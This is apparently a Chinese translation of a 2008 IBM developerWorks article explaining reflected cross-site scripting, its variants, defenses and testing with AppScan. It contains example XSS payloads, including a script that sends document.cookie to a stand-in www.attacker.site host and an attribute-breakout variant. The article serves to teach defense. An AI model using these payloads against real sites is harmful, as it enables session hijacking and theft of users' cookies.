IBM Rational AppScan：跨站点脚本攻击深入解析

了解黑客如何启动跨站点脚本攻击（cross-site scripting，XSS），该攻击危害（及不危害）什么，如何检测它们，以及如何防止您的
Web 站点和站点的访问者受到这些针对隐私和安全的恶意入侵。

在跨站脚本攻击中会发生什么

跨站脚本攻击（cross-site scripting，简称 XSS），是黑客用来潜入 Web 应用程序的最普遍的应用程序层攻击之一。XSS 是针对特殊 Web 站点的客户隐私的攻击，当客户详细信息失窃或受控时可能引发彻底的安全威胁。大部分网站攻击只涉及两个群体：黑客和 Web 站点，或者黑客和客户端受害者。与那些攻击不同的是，XSS 攻击同时涉及三个群体：黑客、客户端和 Web 站点。

XSS 攻击的目的是盗走客户端 cookies，或者任何可以用于在 Web 站点确定客户身份的其他敏感信息。手边有了合法用户的标记，黑客可以继续扮演用户与站点交互，从而冒充用户。举例来说，在对一个大型公司的调查中表明，利用 XSS 攻击窥视用户的信用卡号码和私有信息是可能的。这是通过利用 Web 站点的访问特权，在受害者（客户端）浏览器上运行恶意的 JavaScript 代码来实现的。这些是非常有限的 JavaScript 特权，除了与站点相关的信息，一般不允许脚本访问其他任何内容。重点强调的是，虽然 Web
站点上存在安全漏洞，但是 Web 站点从未受到直接伤害。但是这已经足够让脚本收集 cookies，并且将它们发送给黑客。因此，黑客获得 cookies 并冒充受害者。

XSS 技术的深入解析

让我们调用受攻击的站点：www.vulnerable.site。传统的 XSS 攻击的核心处位于脆弱的站点中的脆弱的脚本。这些脚本读取部分 HTTP 请求（通常是参数，但有时也有 HTTP 头域或路径），并且在首次不加密的情况下全部或部分地将其回送给响应页面（因而，不确保它不包含
JavaScript 代码或 HTML 标签）。因此，假设该脚本名为 welcome.cgi，其参数为 name。可以通过以下方式进行操作：

  GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
  Host: www.vulnerable.site

响应是：

  <HTML>
  <Title>Welcome!</Title>
  Hi Joe Hacker <BR>
  Welcome to our system
  ...
  </HTML>

这是怎样被盗用的呢？黑客设法引诱受害客户点击他们提供给用户的链接。这是一个精心设计且蓄含恶意的链接，诱使受害者的 Web 浏览器访问站点（www.vulnerable.site），并调用入侵脚本。该脚本的数据里包含了用于非法访问客户端浏览器为 www.vulnerable.site 站点所存储 cookies 的 JavaScript。这是允许的，因为客户端浏览器“运行过”来自 www.vulnerable.site 的 JavaScript，并且 JavaScript 安全模型允许来自特殊站点的脚本访问属于该站点的
cookies。

这样的链接如下：

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>

受害者点击链接之后将生成对 www.vulnerable.site 的请求，如下所示：

  GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
  Host: www.vulnerable.site ...

脆弱的站点的响应是：

  <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
  <BR> Welcome to our system ...
  </HTML>

受害者客户端的浏览器将把该响应解释为包含一段 JavaScript 代码的 HTML 页面。当执行时，该代码被允许访问所有属于 www.vulnerable.site 的 cookies。因此，它将在客户端浏览器中弹出一个窗口，显示属于 www.vulnerable.site 的所有客户端 cookies。

当然，真正的恶意攻击包含了将这些 cookies 发送给黑客的操作。对此，黑客可能建立 Web 站点（www.attacker.site）并使用脚本来接收 cookies。替代弹出窗口，黑客会书写访问 www.attacker.site 的 URL 的代码，从而调用接收 cookie 的脚本，其参数设置为被窃取的 cookies。这样，黑客可以从 www.attacker.site 服务器上获得 cookies。

恶意的链接会是：

http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
  .cgi?cookie="%2Bdocument.cookie)</script>

响应页面看起来像这样：

  <HTML> <Title>Welcome!</Title> Hi
  <script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
  <BR>
  Welcome to our system ... </HTML>

加载该页面的浏览器会立即执行内嵌的 JavaScript，并向 www.attacker.site 中的 collect.cgi 脚本发送请求，并附带着浏览器已经拥有的 www.vulnerable.site 的 cookies 的值。这样就泄漏了客户端所拥有的 www.vulnerable.site 的 cookies。这将允许黑客冒充受害者。客户的隐私就完全被破坏了。

注意：

引发 JavaScript 弹出窗口的出现通常足够说明该站点容易受到 XSS 攻击。如果可以调用 JavaScript Alert 方法，那么通常没理由 window.open 调用不成功。这就是为什么大部分 XSS 攻击的实例使用 Alert 方法，因为这很容易检测其成功。

范围和可行性

攻击只会在受害者用于访问站点（www.vulnerable.site）的同一个浏览器中发生。黑客需要强迫客户端访问恶意链接。这会以以下这些方式进行：

黑客发送包含强迫浏览器访问该链接的 HTML 页面的电子邮件消息。这要求受害者使用 HTML 有效的电子邮件客户端，并且客户端的 HTML 阅读器是用于访问 www.vulnerable.site 的同一个浏览器。

客户端访问可能受黑客运作的站点，其中的图片链接或其他激活的 HTML 强迫浏览器访问该链接。再次声明，必须要求浏览器与访问该站点和 www.vulnerable.site 的是同一个浏览器。

恶意的 JavaScript 可以访问任何下列信息：

浏览器维护的（www.vulnerable.site 的）永久 cookies
浏览器实例维护的（www.vulnerable.site 的）RAM cookies，但只有当最近浏览 www.vulnerable.site 时发生。
为 www.vulnerable.site 打开的其他窗口的名称
可以通过当前的 DOM 访问的任何信息（如值、HTML 代码，等等）

身份识别、验证和授权标志通常以 cookies 形式维护。如果这些 cookies 是永久的，那么即使不在访问 www.vulnerable.site 的时候使用浏览器，受害者也是易受攻击的。然而，如果 cookies 是临时的，例如 RAM cookies，那么客户端必须处于访问 www.vulnerable.site 的会话中。

身份识别标志的另一种可能的实现是通过 URL 参数。在这种情况下，可以用这种方式使用 JavaScript 访问其他窗口（假设带有必要的 URL 参数的页面的名称为 foobar）：

<script>var victim_window=open(",'foobar');alert('Can access:
' +victim_window.location.search)</script>

跨站点脚本攻击的多种情形

除了 <SCRIPT>，使用其他
HTML 标签来运行 JavaScript 也是可能的。事实上，同样可能的是，恶意的 JavaScript 代码存储在另一个服务器上，并强迫客户端下载该脚本并执行它，如果要运行许多代码，或者代码中包含特殊字符时，这是很有用。

关于这些可能性的一些情形：

除了 <script>...</script>，黑客可以使用 <img src="javascript:...">。这对于过滤 <script> HTML
标签的站点来说很好用。

除了 <script>...</script>，还可以使用 <script src="http://...">。这对于 JavaScript 代码过长，或者其中包含了禁止字符时的情况是很好用的。

有时候，响应页面中内嵌的数据处于非自由的 HTML 环境中。在这种情况下，首先必要的是“逃”到自由的环境中，然后附加 XSS 攻击。举例来说，如果以 HTML 表单字段的默认值注入数据：

...
<input type=text name=user value="...">
...

那么在数据的开头必需包含 ">，从而逃到自由的
HTML 环境中。数据可能是：

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>

结果得到的 HTML 是：

...
<input type=text name=user value=""><script>window.open
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
...

执行传统的 XSS 攻击的其他方式

到此为止，我们已经看到 XSS 攻击可以出现在用脚本回送响应的 GET 请求的参数中。但是也可以用 POST 请求实现攻击，或者利用
HTTP 请求的路径组件 —— 甚至使用一些 HTTP 头（例如 Referer）。

特别是，当错误页面返回错误的路径时，路径组件就有用了。在这种情况下，包含在该路径中的恶意脚本经常都会执行。已发现许多 Web 服务器都容易受到这种攻击。

什么出了问题？

很重要的是要知道，虽然 Web 站点不直接受到这种攻击的影响（站点继续正常工作，恶意代码不在站点上执行，不会出现 DoS 情况，并且数据不直接受控，或从站点上读取），但是它仍旧是站点向其访问者或客户端提供的隐私保护机制中的缺陷。这就像站点使用薄弱的安全标志（security token）部署应用程序，借此，黑客可以猜出客户的安全标志并冒充客户。

应用程序中的脆弱点是不管参数值是什么都回送参数的脚本。好的脚本确保参数的格式是适当的，包含合理的字符，等等。有效的参数通常没有合理的理由包含 HTML 标签或 JavaScript 代码，可靠起见，应该在这些内容嵌入响应之前，或者在应用程序中处理这些内容之前，将它们从参数中去掉。

如何保护站点不受 XSS 攻击

用这三种方式可以保护站点不受 XSS 攻击：

执行内部的输入过滤（有时候称为输入清洁设备）。对于内部书写的每个脚本中的每个用户输入 —— 参数或 HTTP 头，都应该应用高级的 HTML 标签（包括 JavaScript 代码）过滤。举例来说，来自之前的案例研究中的 welcome.cgi 脚本在解码 name 参数之后，应该过滤<script> 标签。该方法有一些严重的不利因素：
- 它要求应用程序的编程人员非常精通安全。
- 它要求编程人员覆盖所有可能的输入来源（查询参数、POST 请求的
  body 参数、HTTP 头）。
- 它不能抵御第三方脚本或服务器中的安全漏洞。举例来说，它不能防御 Web 服务器错误页面中的问题（通常显示了资源的路径）。

执行“输出过滤”，换句话说，当发回给浏览器时过滤用户数据，而不是当被脚本接收时。一个很好的示例是通过一个脚本将输入数据插入到数据库中，然后再从数据库呈现数据。在这种情况下，重要的是不向原始的输入字符串应用过滤，而只向输出版本应用过滤。这种方法的缺陷类似于对输入过滤的缺陷。

通过安装第三方应用程序防火墙，防火墙在 XSS 攻击到达 Web 服务器和易受攻击的脚本之前拦截它们，并阻塞它们。不论是来自内部应用程序的脚本或路径、第三方脚本，或根本不描述资源的脚本（举例来说，用来引起来自服务器的 404 页面响应的脚本），应用程序防火墙都可以以一般的方式覆盖所有输入方法（包括路径和 HTTP 头）。对于每个输入源，应用程序防火墙根据各种 HTML 标签模式和 JavaScript 模式检查数据。如果匹配成功，就拒绝该请求，恶意的输入不会到达服务器。

检查您的站点是否处于 XSS 攻击保护的方法

检查站点免于遭受 XSS 攻击是加强站点安全保护的必然结论。正如保护站点免于遭受 XSS 攻击一样，检查站点的确安全也可以通过手工完成（硬方法），或利用自动的 Web 应用程序安全漏洞评估工具，它减轻了检查的负担。该工具爬遍站点，然后根据尝试参数、头，和路径找到的所有脚本，运行其知道的所有变化。在这两种方法中，用尽可能多的方式检查对应用程序的每个输入（所有脚本的参数、HTTP 头、路径）。如果响应页面包含浏览器可以执行的 JavaScript 代码，那么 XSS 安全漏洞就已显露出来。举例来说，发送此文本：

<script>alert(document.cookie)</script>

对每个脚本的每个参数（通过允许 JavaScript 的浏览器暴露出最简单类型的 XSS 安全漏洞），如果将文本解释为 JavaScript 代码，那么浏览器将弹出 JavaScript Alert 窗口。当然，还有很多其他情形，因此，只测试这种情形是不够的。如您已经很了解的话，很可能将 JavaScript 注入请求的各种字段中：参数、HTTP 头，和路径。尽管，在一些情况下（特别是 HTTP Referer 头），很难利用浏览器执行攻击。

总结

跨站脚本攻击是黑客用来潜入 Web 应用程序的最普遍的应用程序层攻击之一，并且是最危险的手段之一。它是针对特殊 Web 站点的客户隐私的攻击，当客户详细信息失窃或受控时可能引发彻底的安全问题。不幸的是，如本文所阐述的，这种攻击经常在无需了解客户或被攻击组织情况的前提下就可以实现。

要防止 Web 站点受到这些恶意行为的攻击，至关重要的是，组织要实现在线和脱机的安全策略。这包括使用能够自动化测试出站点中所有普遍的 Web 安全漏洞，和具体应用程序的安全漏洞（例如跨站脚本）的自动化安全漏洞评估工具。对于全面的在线防卫，同样至关重要的是安装可以检测并抵御任何对保存在 Web 服务器上，或其背后的代码和内容实施控制的防火墙应用程序。

Ory
Segal, 安全研究主管, IBM

2008 年 8 月 25 日

本文出处：develperWorks

参考资料

学习

您可以参阅本文在 develperWorks 全球网站上的英文原文。
阅读引发这些的官方通告：CERT®Advisory
CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests。
要了解容易受到路径 XSS 攻击的 Web 服务器的实例，请查看 Insecure.org Web 站点上的Bugtraq。
要了解额外的信息，请参见：Advanced
Cross-Site-Scripting with Real-time Remote Attacker Control（XSS Proxy）。
学习系列教程：
- 高效率创建安全的 Java
  应用，第 1 部分: 使用 Rational Application Developer 和 Data studio。它向您介绍了带有 pureQuery 的 Data Studio 是如何增加您的数据库驱动的网络开发的效率的。
- 高效率创建安全的 Java
  应用，第 2 部分: 使用 Rational AppScan 最大化 Java Web 应用程序的安全性。将向您介绍如何使用 Rational AppScan 扫描第 1 部分中所创建的 Web 应用程序，以发现和修补所有已知的网络安全漏洞。
通过 Rational 大学多媒体课堂：“Rational
AppScan: 全面检测 Web 安全漏洞的利器”深入了解 Rational AppScan 这一先进的自动化 Web 应用安全检查工具。
通过演示 “Rational
AppScan 入门简介：Web 应用与 Web 服务安全扫描工具”，深入了解 Rational AppScan 的基本操作和产品特性。
学习系列文章
- “使用 Rational
  AppScan 保证 Web 应用的安全性，第 1 部分: Web 安全与 Rational AppScan 入门” 了解 Web 安全与 Rational AppScan 的入门知识。
- 通过系列文章 “使用 Rational
  AppScan 保证 Web 应用的安全性，第 2 部分: 使用 Rational AppScan 应对 Web 应用攻击” 了解如何使用 Rational AppScan 应对 Web 应用攻击。
访问 developerWorks 上的 Rational
专区，获得关于 Rational 软件交付平台产品的技术资源和最佳实践。
订阅 Rational Edge
中文版，阅读关于有效软件开发背后的概念的文章。
订阅 IBM developerWorks 时事通讯，获得关于最佳的
developerWorks 教程、文章、下载、社区活动、网络广播和事件的每周更新。
浏览技术书店，获得关于这些和其它技术主题的书籍。

获得产品和技术

访问 Rational
AppScan 产品专题。本产品专题为你提供 IBM Rational AppScan 产品的技术参考资源，以及 IBM Web 安全解决方案的相关信息。
下载免费的 Rational AppScan
Standard Edition V7.7 试用版。
下载 IBM Rational 软件的试用版。
下载这些 IBM 产品评估版，并着手于来自
DB2 ®、Lotus®、Tivoli®，和 WebSphere® 的应用程序开发工具和中间件产品。

讨论

查看 developerWorks 博客并加入 developerWorks
社区。